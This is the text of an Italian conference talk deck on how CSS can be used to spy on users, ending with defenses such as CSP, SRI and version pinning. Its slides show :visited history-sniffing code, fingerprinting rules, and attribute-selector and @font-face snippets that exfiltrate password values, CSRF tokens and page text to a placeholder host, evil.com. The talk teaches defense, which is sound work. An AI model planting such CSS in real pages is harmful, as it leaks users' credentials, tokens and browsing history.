CSS ci spia ๐Ÿ•ต๏ธ

Massimo Artizzu Web dev/architect, Antreem

My face

Massimo Artizzu

Web dev & architect
Antreem@Gellify

Twitter logo / GitHub logo / dev.to logo @MaxArt2501

Potete trovare le slide qui:

QR Code for the presentation's link maxart2501.github.io/css-security-talk/css-day/

A che serve CSS?

HTML

An ugly car, but still a car

HTML+CSS

An beautiful car, but still a car

CSS… un linguaggio?!

A man laughing

Eppure…

~2000

F.C. Barcelona
Real Madrid C.F.
function isVisited(a) {
  return getComputedStyle(a)
    .color === 'rgb(85, 26, 139)'
}
Non funziona piรน perchรฉ getComputedStyle ora restituisce sempre lo stile del link non visitato

~2010

a:visited {
  border-radius: 10% 20% 30% 40%;
  box-shadow: 0 0 50em blue;
  text-shadow: 0 0 50em red;
  transform: skew(10deg 10deg);
  filter: url('effect.svg#fx');
}
function isVisited(a) {
  return new Promise(resolve => {
    const start = Date.now();
    requestAnimationFrame(now =>
      resolve(now - start > 17)
    );
  });
}
Screenshot of Chrome Bugtracker marking the issue 'Visited links can be detected via redraw timing' as 'Won't fix' Kermit panicking

Ma

I browser sono sempre piรน veloci

๐Ÿ‘‡

Exploit ormai inaffidabile

Inoltre

possiamo stilizzare :visited solo con

  • ๐Ÿ‘‰ color
  • ๐Ÿ‘‰ background-color
  • ๐Ÿ‘‰ border-color
  • ๐Ÿ‘‰ outline-color
  • ๐Ÿ‘‰ column-rule-color
  • ๐Ÿ‘‰ fill, stroke (solo per i colori)
Anakin: :visited fa acqua da tutte le parti Padme: Ma ormai l'hanno sistemato, giusto? Anakin: Padme: L'hanno sistemato... giusto?

È anche peggio

quando c'รจ di mezzo anche JavaScript


L'URL di un link puรฒ essere cambiato
migliaia di volte al secondo

Esempio: SVG complesso

<a href="...">
  <svg>
    <filter id="fx">...</filter>
    <path filter="url(#fx)"
          d="..."/>
  </svg>
</a>
a:visited { fill: currentColor; }

Esempio di SVG complesso Esempio di SVG complesso, col colore dei link visitati

Esempio: trasformazioni 3D

๐Ÿ‘‰ Efficace soprattutto sul ๐Ÿ“ฑ


Esempio: Ambient Light Sensor API

๐Ÿ‘‰ La luce del display ci tradisce! ๐Ÿ˜ฑ

Esempio: CSS Paint API

๐Ÿ‘‰ Fixato in Chrome logo Chrome 67


Esempio: transizioni di colore

๐Ÿ‘‰ Fixato in Chrome logo Chrome 92

… disabilitiamo JavaScript?

Si puรฒ chiedere all'utente quali siti ha visitato?

Prego inserire i siti visitati:

https://www.you|
<a href="http://site1.com"></a>
<a href="http://site2.com"></a>
<a href="http://site3.com"></a>
...
a:visited { background: black; }

Inserire il numero:

|

E quindi…

Chromium Issue 713521: Eliminate :visited privacy issues once and for all
โŒš
Ridurre i tempi per cui un link รจ considerato "visitato"
๐Ÿ™…โ€โ™€๏ธ
Limitare lo stato "visitato" ai soli link della stessa origine
(… Sรฌ, ma Google?)
๐Ÿ‘ฌ
Limitare lo stato "visitato" ai soli link azionati da quella origine
Una condotta che fa acqua da tutte le parti

Ci stiamo solo scaldando…

Parliamo di

Fingerprinting

CSS

puรฒ fare richieste non limitate a suo piacimento

Arrangiatevi

Si rompe l'internet

IP: 123.123.123.123

GET http://evil.com/spy.css HTTP/1.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-XA;q=0.8,en;q=0.7,en-US;q=0.6
Cache-Control: no-cache
DNT: 1
Pragma: no-cache
Host: https://hello.com
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/98.0.4758.102 Safari/537.36
๐ŸŒŽ
๐ŸŒ
๐Ÿ„โ€โ™€๏ธ
๐Ÿคฃ

Browser sniffing

feat. CSS

@supports

@supports (accent-color: red) {
  .browser-sniff {
    background-image: url(ch-93-ff-92-sf-15.4.png)
  }
}
@supports Browser/OS
-webkit-app-region Chrome
-apple-pay-button-style Safari
-webkit-touch-callout SafariMobile
-moz-appearance Firefox
-moz-osx-font-smoothing FirefoxApple
Tabella di compatibilitร  da Can I Use Tabella di compatibilitร  da MDN

Non pensiate

che i browser piรน vecchi non siano interessanti

@media queries

@media (max-width: 459px) {
  .device-sniff {
    background-image: url(//evil.com/mobile.png);
  }
}
@media (min-width: 460px) and (max-width: 999px) {
...
@media (pointer: coarse) {
  .device-sniff {
    background-image: url(//evil.com/mobile.png);
  }}
@media (pointer: fine) {
  .device-sniff {
    background-image: url(//evil.com/desktop.png);
  }}
๐Ÿ“ฑ
๐Ÿ’ป
@media (prefers-color-scheme: dark) {
  .device-sniff {
    background-image: url(//evil.com/nerd.png);
  }}
@media (color-gamut: p3) {
  .device-sniff {
    background-image: url(//evil.com/apple.png);
  }}
๐Ÿค“
๐ŸŽ
@media (dynamic-range: high) {
  .device-sniff {
    background-image: url(//evil.com/hdr.png);
  }}
@media (scripting: none) {
  .device-sniff {
    background-image: url(//evil.com/no-js.png);
  }}
๐ŸŸ
โŒ

Basta?

@font-face {
  font-family: Helvetica Neue;
  src: local('Helvetica Neue')
    url(http://evil.com/not-apple.ttf) format('ttf');
}
Font OS
Helvetica Neue, San Francisco Apple
Segoe UI, Tahoma Windows
Roboto, Droid Sans Android
Ubuntu, Liberation Sans Linux
Arimo Chrome OS
Font Produttore
Gothic Bold Logo Samsung
ChakraPetch Logo Xiaomi
OnePlus Sans Logo OnePlus
LG Smart Logo LG
Furious Hello Logo Oppo
input type='file' in francese input type='file' in coreano
<input type="file">
input[type="file"] { font-family: EvilSniff; }

@font-face {
  font-family: EvilSniff;
  src: url(http://evil.com/fr.woff) format('woff');
  unicode-range: U+00e9;
}
@font-face {
  font-family: EvilSniff;
  src: url(http://evil.com/kr.woff) format('woff');
  unicode-range: U+c120;
}
...
รฉ ⇒ ๐Ÿ‡ซ๐Ÿ‡ท
์„  ⇒ ๐Ÿ‡ฐ๐Ÿ‡ท

Ulteriore traccia: font popolari

Come un libro aperto

… puรฒ andare peggio?

React.js sincronizza attributo e proprietร  value

degli elementi <input>

anche type="password"

import { useState } from 'react';

export default function UserPassword() {
  const [pwd, setPwd] = useState('');
  return <label>Password:
    <input type="password" value={pwd}
      onChange={e => setPwd(e.target.value)}
    />
  </label>;
}
Whatever
input[type='password'][value$='a']::before {
  content: url('http://evil.com/a.gif');
}
input[type='password'][value$='b']::before {
  content: url('http://evil.com/b.gif');
}
input[type='password'][value$='c']::before {
  content: url('http://evil.com/c.gif');
}
...
Really?

Abbiamo la certezza di sapere da dove arrivano i nostri fogli di stile?

Pfft, duh!

Beh ovvio!

Potreste non essere stati voi ad essere attaccati

Script esterni nelle nostre pagine

Avete idea

di quanti pacchetti sono dipendenze del vostro progetto?

429

solo per questa presentazione senza includere i plugin di PrismJS
Robert Downey Jr. spalanca gli occhi Classico meme sul 'peso' di node_modules_meme Dita incrociate

E per giunta…

Logo dell'estensione Stylus

Hackers be like

Persona che fa il pollice su

Anche senza React…

<input type="hidden" name="csrf" value="abcdef==">
input[name="csrf"][value^="a"] ~ * {
  background-image: url('http://evil.com/a.gif');
}
...
input[name="csrf"][value$="="] ~ * {
  background-image: url('http://evil.com/is-base-64.gif');
}
...

Sono solo un paio di byte… ๐Ÿคทโ€โ™€๏ธ

… oppure no? ๐Ÿ˜จ

@import url(//evil.com/xf.css);
@import url(/xf.css?ab12);
...
input[name=csrf][value^=k] {
  background: url(//xf.gif?ab12-k) }
@import url(/xf.css?ab12-k);
...
input[name=csrf][value^=k3] {
  background: url(//xf.gif?ab12-k3)}
๐Ÿ˜ฑ

Non sono solo gli <input>

… me ogni contenuto visibile di una qualsiasi pagina puรฒ essere estratto da un CSS malevolo.

Salve, Mario Rossi
Saldo € 1.234,50
#bal {
  font-family: EvilSniff;
}
<p>Salve, <b>Mario Rossi</b></p>
<div class="info">
  <span>Saldo €</span>
  <span id="bal">1.234,50</span>
</div>
@font-face {
  font-family: EvilSniff;
  src: url(http://evil.com/0.wof)
       format('woff');
  unicode-range: U+0040;
}

Legature

Perchรฉ c'รจ differenza tra

fi

fi

@font-face {
  font-family: 'Material Icons';
  src: local('Material Icons'),
    url(//gfonts.com/MaterialIcons.woff) format('woff');
}
<span class="icon">
  accessible
</span>
accessible

Si puรฒ variare le dimensioni del testo

::-webkit-scrollbar-track {
  background: url(http://evil.com/?contains-623);
}
๐Ÿ˜ฑ

Come difendersi?

Non usare value="..."

Meglio impostare con JavaScript

<script>document
.querySelector('input[name=csrf]')
.value = "1234abcd";
</script>
script {
  display: block;
  font-family: EvilSniff;
}

Web Components

limitano l'area di effetto dei fogli di stile
body
my-header
my-content
my-footer
my-
my-
my-
my-
my-
my-
โŒ
โŒ

Content Security Policy

Content-Security-Policy: default-src 'self'
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'">

Direttive CSP

Report

Report-To: {
    "group": "csp-endpoint",
    "max_age": 10886400,
    "endpoints": [{ "url": "https://test.com/csp" }]
  }
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Content-Security-Policy: default-src 'self'; report-uri //test.com/csp

CDN?

Anche nelle CDN puรฒ finire contenuto non sicuro o compromesso

Version pinning

<link rel="stylesheet" src="https://cdn.com/bootstrap/latest/bs.min.css">
<script src="https://cdn.com/jquery/latest/$.min.js"></script>
<link rel="stylesheet" src="https://cdn.com/bootstrap/4.6.1/bs.min.css">
<script src="https://cdn.com/jquery/3.6.0/$.min.js"></script>

Subresource Intergrity (SRI)

<link rel="stylesheet"
  src="https://cdn.internal.com/our-font/our-font.css"
  integrity="sha384-oqVuA..." crossorigin="anonymous">

Links

Links

That's all, folks!
๐Ÿ‘‹

const question: Question[] = await getQuestions()
questions.forEach((question: Question) => {
  question.answer()
})